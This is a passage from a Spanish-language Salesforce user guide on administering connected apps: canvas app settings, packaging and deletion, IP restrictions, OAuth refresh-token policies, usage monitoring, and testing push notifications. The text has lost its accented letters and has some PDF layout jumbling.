Para ver aplicaciones de lienzo en el men de navegacin en Android, inicie sesin en la aplicacin para navegadores
mviles de Salesforce1.
Open CTI: La aplicacin de lienzo aparece en la herramienta de control de llamadas. Si se selecciona esta opcin, debe especificar
la aplicacin de lienzo en el archivo de definicin de su centro de llamadas para que pueda aparecer.
Publicador: La aplicacin de lienzo aparece en el publicador. Si esta opcin est seleccionada, tambin debe crear una accin
personalizada de lienzo y agregarla al formato global o a un formato de objeto.
Pgina de Visualforce: La aplicacin de lienzo puede aparecer en una pgina de Visualforce. Si agrega un componente
<apex:canvasApp> para exponer una aplicacin de lienzo en una pgina de Visualforce, asegrese de seleccionar esta
ubicacin para la aplicacin de lienzo; de lo contrario, recibir un error.
6. Seleccione Crear acciones automticamente para crear una accin global para su aplicacin de lienzo. Para crear una
accin global para la aplicacin de lienzo, debe seleccionar Publicador en Ubicacin; por lo tanto, no se crea ninguna
accin global. Tambin puede crear la accin de forma manual en otro momento.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 144

7. Si ha implementado su propia clase de Apex Canvas.CanvasLifecycleHandler, especifique el nombre de la clase en Clase de


ciclo de vida. La especificacin de la clase de Apex CanvasLifecycleHandler permite personalizar la informacin de contexto
y agregar el comportamiento personalizado a la aplicacin de lienzo.
8. Para que los usuarios finales puedan instalar su aplicacin, seleccione la casilla de verificacin Activar como una aplicacin
personal de lienzo. La ficha de Chatter es la nica Ubicacin que admite aplicaciones personales de lienzo. Para
obtener ms detalles acerca de las aplicaciones personales de lienzo, consulte Aplicaciones personales de lienzo en la Gua del
desarrollador de Force.com Canvas .
Nota: Si no visualiza la configuracin de Activar como una aplicacin personal de lienzo, el
administrador de la organizacin de destino de la aplicacin no ha activado aplicaciones personales de lienzo. Para obtener
ms detalles acerca de este requisito, consulte Activacin de aplicaciones personales de lienzo en una organizacin en la
Gua del desarrollador de Force.com Canvas.

CONSULTE TAMBIN
Modificacin, paquetes o eliminacin de una aplicacin conectada
Descripcin general de Aplicaciones conectadas
URL de identidad

Modificacin, paquetes o eliminacin de una aplicacin conectada


PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Descargar paquetes de AppExchange

Una vez creada una aplicacin conectada, podr modificarla empaquetarla o eliminarla.
Nota: El nombre debe ser nico para las aplicaciones conectadas actuales de su organizacin. Puede reutilizar el nombre de una
aplicacin conectada eliminada si la aplicacin conectada se cre con la versin Spring '14 o posterior. No puede reutilizar el
nombre de una aplicacin conectada eliminada si la aplicacin conectada se cre con una versin anterior.

Modificacin de una aplicacin conectada


Puede actualizar una aplicacin conectada en cualquier momento. En Configuracin, haga clic en Crear > Aplicaciones. Haga clic en
el nombre de una aplicacin conectada en la lista para abrir la pgina de detalles de la aplicacin. Haga clic en Modificar para que
aparezca la pgina de modificacin donde puede realizar cambios. Guarde sus cambios haciendo clic en Guardar.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 145

Despus de crear la aplicacin conectada, puede volver a la pgina de detalles para especificar los intervalos IP permitidos.
Los intervalos IP funcionan con OAuth, pero no con SAML, y especifican direcciones IP vlidas para la aplicacin conectada.
Realice los pasos siguientes para establecer el intervalo IP permitido.
1. En Configuracin, haga clic en Crear > Aplicaciones.
2. Haga clic en el nombre de una aplicacin conectada en la lista para abrir la pgina de detalles de la aplicacin.
3. En el intervalo de IP de confianza para la seccin del flujo de servidor Web de OAuth, haga clic en Nuevo.
4. Introduzca una direccin IP vlida en el campo Direccin IP inicial y una direccin IP superior en el campo Direccin IP final.
Puede introducir varios intervalos discontinuos haciendo clic en Nuevo para introducir cada intervalo.
Es posible que desee que determinados usuarios puedan usar la aplicacin conectada fuera del intervalo IP de confianza. Por ejemplo,
se puede permitir a algunos usuarios usar la aplicacin conectada durante un viaje, pero no a otros usuarios. En este caso, establezca la
aplicacin conectada en Rebaje las restricciones de IP con un factor secundario. Si un usuario intentar
usar la aplicacin conectada fuera de este intervalo, se le pedir que especifique un segundo factor de autenticacin, como un cdigo
de token. Tras la autenticacin correcta del segundo factor, el usuario puede usar la aplicacin conectada fuera del intervalo IP de
confianza.
1. En Configuracin, haga clic en Gestionar aplicaciones > Aplicaciones conectadas.
2. Haga clic en Modificar junto al nombre de la aplicacin conectada para mostrar los valores de la aplicacin.
3. En el campo Relajacin de IP, seleccione Rebajar restricciones de IP en la lista desplegable.
Despus de crear la aplicacin conectada, vuelva a la pgina de detalles y especifique iatributos personalizados. Utilice atributos
personalizados para especificar metadatos de SAML o para especificar parmetros de OAuth que se leen durante el tiempo de ejecucin.
1. En Configuracin, haga clic en Crear > Aplicaciones.
2. Haga clic en una opcin de Nombre de aplicacin conectada de la lista para abrir la pgina de detalles de la aplicacin.
3. En la seccin Atributos personalizados, haga clic en Nuevo.
Cada atributo personalizado debe tener una clave nica y debe usar los campos disponibles en el men Insertar campo. Por
ejemplo, asigne un nombre de clave, como country e inserte el campo $Organization.Country. Si usa SAML, los
atributos se envan como declaraciones de atributos SAML. Si se usa OAuth, los atributos estn disponibles con un objeto
custom_attributes en la direccin URL de identidad del usuario.
Importante: Cuando actualice los campos para una aplicacin conectada, tenga en cuenta que los cambios en algunos campos
se aplican de inmediato tambin a todas las versiones instaladas de la aplicacin conectada. Se trata de campos independientes
de la versin que omiten el ciclo de vida del empaquetado o la instalacin. Los usuarios de la aplicacin conectada vern por
ejemplo el cambio de la descripcin. Los siguiente campos tienen este comportamiento independiente de la versin.
Descripcin
URL de informacin
URL de imagen de logotipo
URL de devolucin de llamada

Paquetes de una aplicacin conectada


Despus de crear una aplicacin conectada o una nueva versin de una aplicacin existente, empaqutela y pngala a disposicin de
otras organizaciones de Salesforce. Puede agregar una aplicacin conectada a un paquete gestionado del mismo modo que con otros
componentes como objetos personalizados, pginas de Visualforce o clases de Apex. Eso facilita la distribucin de una aplicacin
conectada en otras organizaciones de Salesforce. Como un paquete que se puede incluir en paquetes, las aplicaciones conectadas

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 146

pueden aprovechar tambin todas las dems funciones de los paquetes gestionados, como las listas en AppExchange, las actualizaciones
mediante envo, secuencias de comandos de Apex posteriores a la instalacin, la gestin de licencias y la compatibilidad del suscriptor
mejorada.
Nota: Solo puede incluir una aplicacin conectada en paquetes desde una organizacin de Developer Edition. Las aplicaciones
conectadas solo se pueden agregar a paquetes gestionados. Las aplicaciones conectadas no se admiten para los paquetes no
gestionados.

Eliminacin de una aplicacin conectada


Para eliminar una aplicacin conectada, haga clic en el nombre de una aplicacin conectada en la lista de aplicaciones. Haga clic en
Eliminar en la pgina de modificacin y confirme haciendo clic en Eliminar de nuevo. Aunque la aplicacin se elimina de la lista, no
podr volver a utilizar su nombre.
Si elimina una aplicacin conectada que se ha incluido en un paquete, la aplicacin seguir estando disponible en el paquete hasta que
actualice el paquete.
CONSULTE TAMBIN
Creacin de una aplicacin conectada
Descripcin general de Aplicaciones conectadas

Visualizacin de detalles de la aplicacin conectada


PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Descargar paquetes de AppExchange

La pgina Detalles de la aplicacin conectada le muestra informacin acerca de la aplicacin conectada, incluyendo su versin y sus
mbitos. Puede modificar y comprobar el uso de la aplicacin conectada y asociar perfiles y permisos a esta aplicacin.
Haga clic en Modificar para realizar cambios en la aplicacin en la pgina Modificar aplicacin conectada.
Haga clic en Descargar metadatos para obtener los extremos y las URL de inicio de sesin de SAML de proveedor de servicios
especficos de la configuracin del dominio personalizado o su comunidad. Este botn solo aparece si su organizacin est activada
como proveedor de identidad, y solo con aplicaciones conectadas que usen SAML.
Haga clic en Ver uso de OAuth para ver el informe de uso de las aplicaciones conectadas de su organizacin.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 147

Haga clic en Gestionar perfiles para seleccionar los perfiles para la aplicacin en la pgina Asignacin de perfil de aplicacin.
Seleccione los perfiles para tener acceso a la aplicacin.
Importante: Esta opcin no aparecer si la poltica de OAuth para Usuarios permitidos se establece como Todos los
usuarios pueden autorizarse porque esta opcin no es necesaria cuando los usuarios pueden autorizarse a s
mismos.
Haga clic en Gestionar conjuntos de permisos para seleccionar los conjuntos de permisos para los perfiles de esta aplicacin en
la pgina Asignacin del conjunto de permisos de aplicacin. Seleccione los conjuntos de permisos para tener acceso a la aplicacin.
Importante: Esta opcin no aparecer si la poltica de OAuth para Usuarios permitidos se establece como Todos los
usuarios pueden autorizarse porque esta opcin no es necesaria cuando los usuarios pueden autorizarse a s
mismos.
Haga clic en Nuevo en Atributos SAML de proveedor de servicio para crear nuevos pares de clave/valor de atributo. Tambin puede
modificar o eliminar los atributos existentes.
Solo los usuarios que pertenezcan al menos a uno de los perfiles o conjuntos de permisos seleccionados podrn iniciar la aplicacin si
ha seleccionado Usuarios aprobados por el administrador para el valor Usuarios permitidos de la pgina
Modificar de la aplicacin conectada. Si en su lugar ha seleccionado Todos los usuarios, no se tendrn en cuenta los conjuntos
de permisos y perfiles.

Gestin de una aplicacin conectada


PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Descargar paquetes de AppExchange

Para ver y actualizar propiedades de una aplicacin conectada, busque la aplicacin bajo Configuracin, en Gestionar aplicaciones >
Aplicaciones conectadas y haga clic en Modificar junto a ella. Para ver informacin, uso y polticas de una aplicacin conectada o
agregar atributos personalizados, haga clic en el nombre de la aplicacin.
Nota: Las sesiones se actualizan de forma automtica entre cada 15 minutos y 12 horas mientras el usuario est en la aplicacin,
segn el Valor de tiempo de espera de la sesin que haya establecido para su organizacin; el usuario rara vez detecta
este proceso.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 148

Aplicaciones conectadas instaladas por Salesforce


Algunas aplicaciones cliente de Salesforce se implementan como aplicaciones conectadas y se instalan automticamente en su
organizacin, como Salesforce1 o Salesforce for Outlook. Por lo que podra ver ms aplicaciones conectadas de lo esperado en su lista
de aplicaciones instaladas.
Estas aplicaciones conectadas de Salesforce se distribuyen en dos paquetes gestionados: uno para aplicaciones relacionadas con
Salesforce1 y otro para aplicaciones no relacionadas con Salesforce1. La lista de aplicaciones incluidas puede cambiar con cada versin.
Sin embargo, para simplificar la administracin, se instala cada paquete de forma asncrona en su organizacin la primera vez que accede
cualquier usuario de la organizacin a una de estas aplicaciones.
Si desea instalar (o volver a instalar) el paquete de Salesforce1 para aplicaciones conectadas de forma anticipada, puede instalarlo desde
AppExchange.
El paquete aparece en Configuracin bajo la lista Paquetes instalados.
Haga clic en cada nombre de paquete para ver la lista de componentes. Los siguientes son algunos de los componentes para el paquete
de Aplicaciones conectadas de Salesforce.
Nota: IDE de Force.com, la Herramienta de migracin de Force.com, Dataloader Bulk y Dataloader Partner son aplicaciones
conectadas de tipo wrapper que utilizan la API de SOAP para conectarse a Salesforce, en lugar de OAuth como otras aplicaciones
conectadas. Sin embargo, utilizan el marco de aplicaciones conectadas para otorgar o negar a los usuarios el acceso a las aplicaciones
en una organizacin.
Los siguientes son algunos de los componentes para el paquete Aplicaciones de Salesforce1 y Chatter.
Para gestionar estas aplicaciones conectadas instaladas, en Configuracin, haga clic en Gestionar aplicaciones > Aplicaciones
conectadas y ver aparecer las aplicaciones conectadas de Salesforce instaladas automticamente en la lista como aplicaciones instaladas
del paquete gestionado junto con sus otras aplicaciones conectadas instaladas.

Modificacin de una aplicacin conectada


PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Descargar paquetes de AppExchange

La pgina Modificar de la aplicacin conectada permite modificar la configuracin y los permisos para la aplicacin conectada
Para modificar la configuracin de una aplicacin conectada, siga los pasos que se indican a continuacin:
1. Desde Configuracin, haga clic en Gestionar aplicaciones > Aplicaciones conectadas.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 149

2. Haga clic en Modificar junto al nombre de la aplicacin que desea modificar. (Para revisar informacin sobre una aplicacin en la
pgina Detalles de la aplicacin conectada, haga clic en el nombre de la aplicacin.)
Hay polticas de OAuth disponibles para cada aplicacin conectada.
Usuarios autorizados determina quin puede iniciar la aplicacin.
Todos los usuarios pueden autorizarse: Valores predeterminados. Todos los usuarios en la organizacin
pueden autorizar la aplicacin por s mismos. Eso significa que cada usuario debe aprobar la aplicacin la primer vez que
accede a ella.
Los usuarios aprobados por el administrador se han autorizado previamente. El acceso
est limitado a aquellos usuarios con un perfil o conjunto de permisos especificados, pero estos usuarios no necesitan aprobar
la aplicacin antes de poder acceder a ella. Gestione perfiles desde la aplicacin modificando la lista Acceso de aplicacin
conectada de cada perfil. Gestione conjuntos de permisos desde la aplicacin modificando la lista Aplicaciones conectadas
asignadas del conjunto de permisos.
Nota: Si cambia de Todos los usuarios pueden autorizarse a Los usuarios aprobados
por el administrador se han autorizado previamente, cualquier persona que est utilizando la
aplicacin en este momento perder su acceso a menos que pertenezca a un conjunto de permisos o perfil que haya
especificado para la aplicacin.
Restricciones de direcciones IP hace referencia a las restricciones de direcciones IP a las que estn sujetos los
usuarios de la aplicacin conectada. Un administrador puede seleccionar si reforzar u omitir estas restricciones seleccionando
una de las siguientes opciones.
Reforzar restricciones de direcciones IP: Valores predeterminados. Un usuario que ejecuta la aplicacin
est sujeto a las restricciones de direcciones IP de la organizacin, como los intervalos de direcciones IP establecidos en el
perfil de usuario.
Flexibilizar las restricciones de direcciones IP con segundo factor: Un usuario que
ejecuta esta aplicacin omite las restricciones de direcciones IP de la organizacin si una de estas condiciones es verdadera:
La aplicacin cuenta con intervalos de direcciones IP con lista blanca y est utilizando el flujo de autenticacin OAuth
del servidor Web. Solo se permiten las solicitudes procedentes de las direcciones IP con lista blanca.
La aplicacin no cuenta con una lista blanca de intervalos de direcciones IP, est utilizando el flujo de autenticacin
OAuth del servidor Web o del usuario-agente y el usuario ha completado correctamente la confirmacin de identidad.
Flexibilizar restricciones de direcciones IP: Un usuario que ejecuta esta aplicacin conectada no
est sujeto a ninguna restriccin de direccin IP.
Poltica de testigos de actualizacin especifica el periodo de validez de un token de actualizacin. La
aplicacin conectada usa los token de actualizacin para obtener sesiones nuevas sin solicitar al usuario que proporcione sus
credenciales. La aplicacin conectada simplemente intercambia el token de actualizacin por una sesin nueva. Mediante las
polticas de tokens de actualizacin, los administradores controlan durante cunto tiempo se puede usar un token de actualizacin.
Las opciones son las siguientes.
El testigo de actualizacin es vlido hasta su revocacin. Este es el comportamiento
predeterminado y especifica que el token se puede usar indefinidamente a menos que sea revocado por el usuario o el
administrador. Revoque los tokens en la pgina de detalles de un usuario en Aplicaciones conectadas de OAuth o en el
informe de uso de aplicaciones conectadas de OAuth.
Hacer caducar inmediatamente el testigo de actualizacin. Esta opcin especifica que el token
deja de ser vlido de inmediato. El usuario puede usar la sesin actual (token de acceso) generada, pero no puede usar el
token de actualizacin para obtener nuevas sesiones.
Hacer caducar el testigo de actualizacin si no se utiliza para n. Esta opcin invalida
el token si no se usa para la cantidad de tiempo especificada. Por ejemplo, si el valor del campo indica 7 das y el token

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 150

de actualizacin no se intercambia por una sesin nueva en siete das, el siguiente intento de uso del token es fallido. El
token ha caducado y ya no puede generar nuevas sesiones. Si el token de actualizacin se usa correctamente antes de 7
das, se restablece la supervisin del periodo de inactividad y el token es vlido durante otros 7 das.
Hacer caducar el testigo de actualizacin despus de n. Esta opcin invalida el token de
actualizacin despus de una cantidad de tiempo fija. Por ejemplo, si la poltica establece 1 da, el token de actualizacin
se puede usar para obtener sesiones nuevas durante 24 horas. Despus de 24 horas, el token no se puede usar para obtener
sesiones nuevas.
La Poltica de testigos de actualizacin solo se evala durante el uso del token de actualizacin generado
y no influye directamente en la sesin actual del usuario. La sesin del usuario se pueden mantener con el uso y si periodo de
validez se define en Configuracin, Controles de seguridad > Configuracin de la sesin. Los tokens de actualizacin solo
son obligatorios cuando la sesin de un usuario ha caducado o ya no est disponible. Por ejemplo, si establece la Poltica
de testigos de actualizacin en Hacer caducar el testigo de actualizacin despus
de 1 hora y el usuario usa la aplicacin durante dos horas, no se exigir la autenticacin despus de una hora. Solamente
se deber volver a realizar la autenticacin cuando la sesin haya caducado y el cliente intente intercambiar sus tokens de
actualizacin por una sesin nueva.
Los permisos actuales de la aplicacin conectada tambin se enumeran aqu.
Si su aplicacin conectada es una aplicacin de lienzo que utiliza una autenticacin por solicitud firmada, asegrese de lo siguiente:
Establezca Usuarios permitidos como Los usuarios aprobados por el administrador se han
autorizado previamente.
Establezca Caducar tokens de actualizacin como La primera vez que utilizan esta
aplicacin.
De acceso a los usuarios mediante perfiles y conjuntos de permisos.
La poltica a nivel de sesin est disponible para todas las aplicaciones conectadas. Seleccione Sesin de alta seguridad
obligatoria para que el usuario introduzca un token basado en tiempo durante el inicio de sesin para acceder a la aplicacin.
Hay informacin bsica disponible para todas las aplicaciones conectadas. Sin embargo, si su aplicacin es una aplicacin de lienzo,
estos valores de campo no se utilizarn. Por el contrario, se utilizar la URL de aplicacin de lienzo especificada cuando se cre la
aplicacin conectada.
URL de inicio se utiliza si la aplicacin conectada utiliza un inicio de sesin nico. En este caso, establezca la URL de la
pgina donde el usuario iniciar el proceso de autenticacin. Esta ubicacin aparece tambin en el men switcher de la aplicacin.
URL de inicio de Mobile se utiliza para dirigir los usuarios a una ubicacin especfica cuando se accede a la aplicacin
desde un dispositivo mvil.
La configuracin de aplicacin de Mobile est disponible para cualquier aplicacin conectada mvil que refuerza la proteccin de
pin.
Solicitar PIN despus de especifica cunto tiempo puede transcurrir mientras la aplicacin est inactiva antes de
la aplicacin se bloquee y solicite el PIN antes de continuar. Los valores disponibles son ninguno (sin bloqueo), 1, 5, 10 y 30
minutos. Esta poltica solo se cumple si se establece el valor de Longitud de PIN correspondiente. El cumplimiento de
la poltica es responsabilidad de la aplicacin conectada. Las aplicaciones creadas con el SDK de Salesforce Mobile pueden
establecer automticamente el cumplimiento de esta poltica o la aplicacin puede leer la poltica con el servicio UserInfo y
cumplirla.
Nota: Esta opcin no invalida directamente la sesin de un usuario. Aunque la sesin puede caducar debido a la inactividad,
esta poltica simplemente requiere que el usuario introduzca su PIN para seguir usando la sesin actual.
Longitud de Pin establece la longitud del nmero de identificacin enviado para la confirmacin de la autenticacin. La
longitud puede ser de 4 a 8 dgitos, ambos incluidos.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 151

Hay atributos personalizados disponibles para todas las aplicaciones conectadas. Los desarrolladores pueden establecer metadatos
personalizados de SAML o atributos personalizados de OAuth para una aplicacin conectada. Los administradores pueden eliminar
o modificar esos atributos. Los administradores tambin pueden agregar atributos personalizados. Los atributos eliminados,
modificados o agregados por administradores sustituyen los atributos establecidos por los desarrolladores. Para obtener ms
informacin, consulte Modificacin, paquetes o eliminacin de una aplicacin conectada en la pgina 144

Supervisin del uso de una aplicacin conectada


PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Descargar paquetes de AppExchange

Para ver informacin sobre el uso de cualquier aplicacin conectada en la organizacin, desde Configuracin, haga clic en Gestionar
aplicaciones > Uso de OAuth de aplicaciones conectadas. Aparece una lista de aplicaciones conectadas e informacin acerca de
cada una.
Aplicacin conectada
El nombre de la aplicacin. Las aplicaciones conectadas que estn instaladas pero no se han utilizado no aparecen en la lista.
Ver informacin de la aplicacin
Haga clic en Ver informacin de la aplicacin para ir a la pgina de detalles de la aplicacin conectada. De forma alternativa, si
la aplicacin conectada no est an instalada, haga clic en Instalar.
Recuento del usuario
El nmero de usuarios que han ejecutado la aplicacin. Haga clic en el valor Recuento del usuario para ver informacin acerca de
cada usuario incluyendo:
Cundo us por primera vez la aplicacin.
La ltima vez que han utilizado la aplicacin
El nmero total de veces que ha utilizado la aplicacin
En la pgina Uso del usuario de la aplicacin conectada, puede finalizar el acceso de un usuario a su sesin actual haciendo clic en
la accin Revocar en la fila de esa persona. O haga clic en el botn Revocar todo en la parte superior de la pgina para desconectar
cualquier persona que est utilizando la aplicacin conectada.
Accin
Haga clic en Bloquear para finalizar todas las sesiones de usuario actuales con la aplicacin conectada y bloquear todas las nuevas
sesiones. El bloqueo de una aplicacin no es permanente. Puede hacer clic en Desbloquear para permitir a los usuarios iniciar sesin
y acceder a la aplicacin en otro momento.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 152

Gestin de acceso OAuth para sus aplicaciones conectadas


Una aplicacin conectada integra una aplicacin con Salesforce utilizando API. Las aplicaciones
conectadas utilizan protocolos estndar de SAML y OAuth para autenticar, proporcionar inicios de
sesin nicos y tokens para utilizar con las API de Salesforce. Adems de las funciones estndar de
OAuth, las aplicaciones conectadas permiten a los administradores establecer varias polticas de
seguridad y tener un control completo de quin puede utilizar las aplicaciones. Todas las aplicaciones
conectadas se han integrado con Salesforce, de forma que pueden acceder a sus datos de Salesforce
cuando otorgue explcitamente cada permiso de aplicacin.
Todas las aplicaciones conectadas que tienen permiso para acceder a sus datos de Salesforce se
enumeran en su informacin personal.
1. En la parte superior de cualquier pgina de Salesforce, haga clic en la flecha hacia abajo junto
a su nombre.
2. Seleccione Mi configuracin.
3. Seleccione Personal > Detalles avanzados de usuario.
4. En la seccin Aplicaciones conectadas de OAuth, puede:

EDICIONES
Disponible en: todas las
ediciones
Salesforce Classic no est
disponible en
Database.com.

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Vea informacin sobre cada aplicacin a la que se le ha concedido acceso, as como el


nmero de veces y la ltima ocasin en la que la aplicacin intent acceder a su informacin.
Nota:
Una aplicacin puede aparecer ms de una vez. Cada vez que otorga acceso a una aplicacin, obtiene un nuevo token
de acceso. Las solicitudes para la actualizacin de tokens aumentan el Recuento de uso que se muestra para
la aplicacin. Deber conceder acceso a sus datos de Salesforce desde cada dispositivo que utilice, por ejemplo, desde
su porttil y su equipo de sobremesa. El lmite predeterminado es de cinco tokens de acceso para cada aplicacin. Las
aplicaciones ms nuevas (que usen el protocolo OAuth 2.0) se aprueban automticamente para los dispositivos
adicionales despus de que haya concedido acceso una vez. Las aplicaciones de OAuth 2.0 pueden aparecer ms de
una vez. Cada fila en la tabla representa un acceso nico, por lo que si una aplicacin solicita varios tokens con diferentes
mbitos, ver la misma aplicacin varias veces.
Aunque la aplicacin conectada haya intentando acceder a su informacin y haya fallado por no poder iniciar sesin,
los campos Recuento de uso y ltimo uso se actualizarn.
Haga clic en Revocar para revocar el acceso a la aplicacin. Cuando revoque la aplicacin, esta no podr usar ese token de
autorizacin en concreto para acceder a sus datos de Salesforce.
Importante: Debe revocar todos los tokens de acceso para una aplicacin concreta para evitar que acceda a sus datos
de Salesforce.
Si utiliza Salesforce Classic y desea utilizar un nuevo dispositivo mvil, descargue la aplicacin en el nuevo dispositivo e inicie sesin. No
necesita revocar el token en el antiguo dispositivo; Salesforce crear automticamente uno nuevo.
CONSULTE TAMBIN
Descripcin general de Aplicaciones conectadas
Creacin de una aplicacin conectada
Modificacin de una aplicacin conectada

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 153

Prueba de notificaciones distribuidas


Para realizar una prueba rpida de la configuracin de las notificaciones distribuidas, use la pgina
Enviar notificacin de prueba. La pgina Enviar notificacin de prueba permite solucionar problemas
relacionados con las notificaciones distribuidas de ida y vuelta mediante un mecanismo sncrono
sin necesidad de configurar llamadas a Apex o REST. Adems, puede proporcionar informacin
detallada de lo que ocurre en el entorno asncrono de las notificaciones distribuidas reales.

Lmites de notificaciones distribuidas


El nmero mximo de notificaciones distribuidas permitidas para cada aplicacin mvil asociada
a su organizacin de Salesforce depende del tipo de aplicacin.
Nmero mximo de notificaciones distribuidas permitido
para:

Lmite

Aplicaciones mviles proporcionadas por Salesforce (por ejemplo,


Salesforce1)

50 000 notificaciones
por aplicacin al da

Aplicaciones mviles desarrolladas por su organizacin para el uso interno 35 000 notificaciones
por parte de los empleados
por aplicacin al da
Aplicaciones mviles instaladas desde AppExchange

5000 notificaciones por


aplicacin al da

EDICIONES
Las aplicaciones conectadas
se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

PERMISOS DE USUARIO
Para enviar una notificacin
distribuida desde la pgina
Probar notificaciones
distribuidas:
Autor de Apex
Y

Solo las notificaciones de entrega cuentan para este lmite. Por ejemplo, suponga que se enva una
notificacin a 1000 empleados de su empresa, pero 100 empleados an no han instalado la aplicacin
mvil. Solo las notificaciones enviadas a los 900 empleados que han instalado la aplicacin mvil
cuentan para este lmite.

Gestionar aplicaciones
conectadas

Cada notificacin distribuida de prueba que se genera en la pgina Probar notificaciones distribuidas se limita a un solo destinatario.
Las notificaciones distribuidas de prueba cuentan para el lmite de notificaciones distribuidas diarias de una aplicacin.

Acerca de la pgina Enviar notificacin de prueba


La pgina Enviar notificacin de prueba usa informacin de su configuracin del servicio de notificaciones distribuidas de Apple (Apple
Push Notification Service [APNS]) o el servicio de mensajera en la nube de Google (Google Cloud Messaging [GCM]) para Android para
configurar un mecanismo de distribucin sncrono. Para seleccionar un dispositivo para recibir la notificacin distribuida, introduzca una
cadena de token de conexin. Si no conoce la cadena de token, puede usar la herramienta de bsqueda para seleccionar una opcin
de la lista de dispositivos registrados para su aplicacin conectada. La herramienta de bsqueda muestra automticamente los ltimos
cinco dispositivos registrados. Adems, puede introducir un nombre de usuario para buscar los dispositivos registrados para el usuario.
En el caso de las notificaciones distribuidas de Android GCM, puede seleccionar la opcin Ejecucin en seco para probar la configuracin
de GCM. Esta opcin enva la notificacin al servidor GCM, pero no la reenva a un dispositivo.
Cada intento de notificacin distribuida devuelve un mensaje de estado que indica si la operacin se ha realizado de forma correcta o
incorrecta. Consulte Mensajes de error de notificaciones distribuidas para ver las explicaciones de los mensajes. Para obtener informacin
adicional, consulte:
developer.apple.com para obtener informacin sobre las notificaciones distribuidas de Apple APNS.
developer.android.com para obtener informacin sobre las notificaciones distribuidas de GCM para Android.
Para acceder a la pgina de prueba:

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 154

1. En Configuracin, vaya a Crear > Aplicaciones.


2. Haga clic en el nombre de su aplicacin conectada.
3. Haga clic en Enviar notificacin de prueba junto a Plataforma de envo admitida. Este vnculo solo se muestra si ha configurado
su aplicacin conectada para admitir las notificaciones distribuidas mviles.
Nota: Antes de intentar enviar notificaciones distribuidas de prueba, compruebe si la configuracin mvil de la aplicacin
conectada es correcta. Consulte Creacin de una aplicacin conectada.
EN ESTA SECCIN:
Envo de notificaciones distribuidas de prueba a APNS
